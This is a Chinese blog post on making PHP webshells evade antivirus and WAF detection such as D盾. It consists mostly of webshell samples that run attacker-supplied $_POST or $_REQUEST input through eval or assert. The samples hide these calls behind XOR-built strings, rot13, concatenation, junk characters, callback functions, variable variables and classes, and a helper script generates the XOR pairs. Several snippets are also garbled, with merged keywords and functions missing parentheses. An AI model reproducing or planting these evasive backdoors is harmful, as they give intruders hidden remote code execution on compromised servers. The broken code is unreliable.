首页 > 系统相关 >PHP下的webshell免杀

PHP下的webshell免杀

时间:2023-08-20 11:45:31浏览次数:34  
标签:webshell 返回 免杀 自定义 test array PHP 函数

异或免杀

大多数情况下,开发者为了方便自身的需求,会使用"黑名单"的方式扳掉许多敏感函数,来达到一个表面看上去新相对安全的一个目的,但是却不知道因为这种大意的思维会导致整个系统都处于极度危险中;攻击者以往遇见这种情况。完全可以通过加密的方法可以解决大部分的问题(eg:异或加密,base家族加密,URL加密.....)。所以我们常常会说:白名单>WAF>黑名单!

"^"为异或运算符,在PHP中,两个变量进行异或时,会将字符串转换成二进制再进行异或运算,异或运算完,又将结果从二进制转换成了字符串

<?php

$_=( '%01'^ '').( '%13'^ '').( '%13'^ '').( '%05'^ '').( '%12'^ '').( '%14'^ '');

$__= '_'.( '%0D'^ ']').( '%2F'^ '').( '%0E'^ ']').( '%09'^ ']');`

$___=$$__;

$_($___[_]);



<?php

$__=( '>'> '<')+( '>'> '<');

$_=$__/$__;

$____= '';

$___= "瞰";$____.=~($___{$_});$___= "和";$____.=~($___{$__});$___= "和";$____.=~ ($___{$__});$___= "的";$____.=~($___{$_});$___= "半";$____.=~($___{$_});$___= "始";$____.=~($___{$__});

$_____= '_';$___= "俯";$_____.=~($___{$__});$___= "瞰";$_____.=~($___{$__});$___= "次";$_____.=~($___{$_});$___= "站";$_____.=~($___{$_});

$_=$$_____;

$____($_[$__]);

 

小提示:可以通过下列的PHP异或脚本解决生成函数的问题

<?php

$test = '~!@#$%^&*_+\|/?.,-={}[]';

for($i= 0;$i<strlen($test);$i++){

for($j= 0;$j<strlen($test);$j++){

if(ord($test[$i]^$test[$j])> 64&& ord($test[$i]^$test[$j])< 91){

echo$test[$i]. '^'.$test[$j]. '结果为:';

echo$test[$i]^$test[$j];

echo'<br>';

} elseif(ord($test[$i]^$test[$j])> 97&& ord($test[$i]^$test[$j])< 122){

echo$test[$i]. '^'.$test[$j]. '结果为:';

echo$test[$i]^$test[$j];

echo'<br>';

}

}

}

?>

 

base家族加密

<?php

$a = 'd2hvYW1p';

echobase64_decode($a). '';

?>

这种方法没有什么特别的用处,但是可以尝试base16或base32与其他方法搭配使用。

 

rot13加密

<?php

$a=str_rot13( 'riny');

$a($_POST[ '110']);

?>

 


rot13对eavl函数进行加密,即"riny"(可以通过这种方式绕过函数的正则匹配)

<?php

classA{

functionxxx($a){

$b=str_rot13( '!r!i!n!y!!');

$str=explode( '!',$b)[ 5];

$str($a);}

}

$c= newA;

$c->xxx($_REQUEST[ '110']);

?>

 

拼接免杀

<?php$k= "e". "v". "a". "l"; $k(${ "_PO". "ST"} [ '110']); ?>

我们可以将敏感函数拆分,然后做一个简单的敏感函数免杀!其次也可以使用下面的arry数组结构函数进行免杀。

<?php

$a = substr_replace( "xxser", "asser", -3);

$b = array( '',$a);

$c = $b[ 1].chr( '116');

$fun=preg_replace( "/xx/", "",$c);

$d = substr_replace( "",$fun, 0);

$d ($_POST[ '110']);

?>

也就是说,我们只要把PSOT函数在用rot13加个密就可以了;或者考虑变量替换(但是根据D盾的检测来看,效果不一定会比加密好)!

 

混淆免杀

<?php

functiona

{

return"/*110110110110*/".$_POST[ '110']. "/*110110110110**/";

}

@ eval(a);

?>

 

单纯的字符串变化直接被杀的死死的,因此我们还需要配合其他无用字符去混淆视听,进而增强免杀效果!

<?php$a = str_replace(x, "", "xexaxvxlx"); $a(@$_POST[ "110"]); ?>

 

函数替换

array_map:函数基本上是将数组的每个元素发送到用户自定义的函数中进行修改或处理,然后返回一个具有该函数修改后新值的数组。

array_filter:通过函数过滤掉数组中的元素

array_reduce:发送数组中的值到用户自定义函数,并返回一个字符串

array_diff_uassoc:比较两个数组的键名和键值(使用用户自定义函数比较键名),并返回差集

array_udiff:比较两个数组的键值(使用用户自定义函数比较键值),并返回差集

array_udiff_uassoc:通过使用自定义函数比较键和值,计算数组的差集

array_intersect_assoc:比较两个数组的键名和键值,并返回交集

array_uintersect:比较两个数组的键值(使用用户自定义函数比较键值),并返回交集

array_uintersect_uassoc:比较两个数组的键名和键值(使用用户自定义函数进行比较),并返回交集

xml_set_character_data_handler:该函数规定当解析器在 XML 文件中找到字符数据时所调用的函数。如果处理器被成功的建立,该函数将返回 true;否则返回 false。

xml_set_default_handler:函数为 XML 解析器建立默认的数据处理器。该函数规定在只要解析器在 XML 文件中找到数据时都会调用的函数。如果成功,该函数则返回 TRUE。如果失败,则返回 FALSE。

xml_set_external_entity_ref_handler:函数规定当解析器在 XML 文档中找到外部实体时被调用的函数。如果成功,该函数则返回 TRUE。如果失败,则返回 FALSE

xml_set_notation_decl_handler:函数规定当解析器在 XML 文档中找到符号声明时被调用的函数。如果成功,该函数则返回 TRUE。如果失败,则返回 FALSE。

xml_set_unparsed_entity_decl_handler:函数规定在遇到无法解析的实体名称(NDATA)声明时被调用的函数。如果处理器被成功的建立,该函数将返回 true;否则返回 false。

 

 

自定义函数绕过(可搭配大小写)

<?php

functionaaa($a){

return$a;

}

functionbbb($b){

returneval($b);

}

functionpost{

return@$_POST[ '110'];

}

functionrun{

returnaaa(bbb)(aaa(post));

}

aaa(bbb)(aaa(post));

?>

我们可以通过我们自定义的函数方式,搭配php的版本和可替换函数绕过WAF的拦截,达到免杀的目的!由于在PHP函数中函数名、方法名、类名 不区分大小写,但推荐使用与定义时相同的名字的时候还可以使得大小写进行绕过,所以大大提升了免杀效果!

 

回调函数加组合绕过

array_walk

array_map

filter_var

filter_var_array

uasort

uksort

以上是常见的可待替代函数,但是大部分都被杀的死死的,所以需要混淆才可以使用!

 

数组绕过

<?php

$a = substr_replace( "evxx", "al", 2);

$b = array($arrayName = ($arrayName =($arrayName = array( 'a'=> $b($_POST[ '110'])))));

?>

 

可变变量

PHP中有一种变量叫做可变变量,这种变量不是一种基础类型的变量。可变变量是指一个普通变量的值可以作为另一个变量的名称被使用。这句话听起来有些抽象。我们可以通过实例来展示可变变量的定义以及实用。

<?php

$zeo= 'miansha';

$$zeo=$_POST[ '110'];

eval($miansha);`

?>

 

这个时候我们就可以使用一些多次加密的手段,把eval函数进行一个多次加密,已达到完全免杀的结果!

使用类绕过免杀

类现在是大多数人的常用选择之一,因为类这个方法在过D盾检测的时候效率较高;但是用类自然就少不了魔法函数,我们简单构造一个类的免杀马如下:

<?php

classzeo2

{

public$b = '';

functionpost{

return$_POST[ 'x'];

}

}

classzeoextendszeo2

{

public$code= null;

function__construct{

$code= parent::post;

assert($code);

}

}

$blll = newzeo;

$bzzz = newzeo2;

?>

 

标签:webshell,返回,免杀,自定义,test,array,PHP,函数
From: https://www.cnblogs.com/wxy1787880204/p/17643779.html

相关文章

  • 完美运营版 Thinkphp内核盲盒商城2.0+前端源码
    源码介绍:Thinkphp盲盒商城源码V2.0,最新版本全解,对接的易支付。短信是阿里云的,存储是七牛云(都要提前注册,这个要审核一两天)。简单测试了一下,还是有一些问题的,不知道是不是打开的方式不对,技术有限,有能力的大神拿去研究研究。    免费下载 点击提取码:izk2......
  • php-fpm的pool
    1php-fpm配置和LAMP不同的是,在LNMP架构中,php-fpm作为独立的一个服务存在。既然是独立的服务,那么它必然有自己的配置文件。php-fpm的配置文件为/usr/local/php-fpm/etc/php-fpm.conf,它同样也支持include语句,类似于nginx.conf里面的include。2php-fpm的poolNginx可以配置多个虚拟主机......
  • PHP查询MySQL 数据库后返回中文为问号
    面向对象1$conn=newmysqli($servername,$user,$password);3增加$conn->query("setnamesutf8");$pdo=newPDO("mysql:host=$servername",$username,$password);增加$pdo->query("setnamesutf8");  面向过程$conn=mysql......
  • php入门第二弹(未完)
    前言:开始复习php了,之前学的内容忘差不多了,所以就补一些我忘了的内容,不会全补。1php超级全局变量php中预定了几个超级变量,这些变量在一个脚本的全部作用域中都可用,不需要特意说明,就可以在函数以及类中使用1.1$GLOBALS$GLOBALS是php中的有一个超级全局变量组,在一个php脚本......
  • ThinkPHP6学习笔记2
    门面模式facadefacade不能在模型里面建立关联关系:这里是属于注入是不能使用facade类的Facade怎么获取model实例对象-facedeinstance方法$model=TestFacadeModel::instance();-容器类直接实例化$model=app(TestModel::class,[],true);-facade定义类新建......
  • PHP通用请求函数sendCurl
    functionsendCurl($url,$data=null,$method='POST'){ $method=strtoupper($method); $start_wdmcurl_time=microtime(true); $header=array('application/x-www-form-urlencoded'); $ch=curl_init(); curl_setopt($ch,CURLOPT_UR......
  • PHP反序列化笔记(二)
    漏洞原理序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题。当传给unserialize()的参数可控时,可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数。存在漏洞的思路:一个类用于临时将......
  • Linux 下php7.2安装mysql扩展
    环境CPU:x86_64OS:CentOSLinuxrelease7.5php:7.2.34pdo_mysql:7.2.34安装进入安装包mysql扩展目录进入到php安装包(php-7.2.34.tar.gz)的解压目录php-7.2.34中的扩展目录,准备进行编译cd/opt/php-7.2.34/ext/pdo_mysql编译安装mysql扩展这个过程3步执行:--with......
  • php 依赖
      yuminstall-ygccgcc-c++makezlibzlib-develpcrepcre-devellibjpeglibjpeg-devellibpnglibpng-develfreetypefreetype-devellibxml2libxml2-develglibcglibc-develglib2glib2-develbzip2bzip2-develncursesncurses-develcurlcurl-devele2fspr......
  • php的password_verify 和 password_hash密码验证
    password_hash() 使用足够强度的单向散列算法创建密码的散列(hash)。当前支持的算法:PASSWORD_DEFAULT -使用bcrypt算法(PHP5.5.0默认)。注意,该常量会随着PHP加入更新更高强度的算法而改变。所以,使用此常量生成结果的长度将在未来有变化。因此,数据库里储存结果的列可......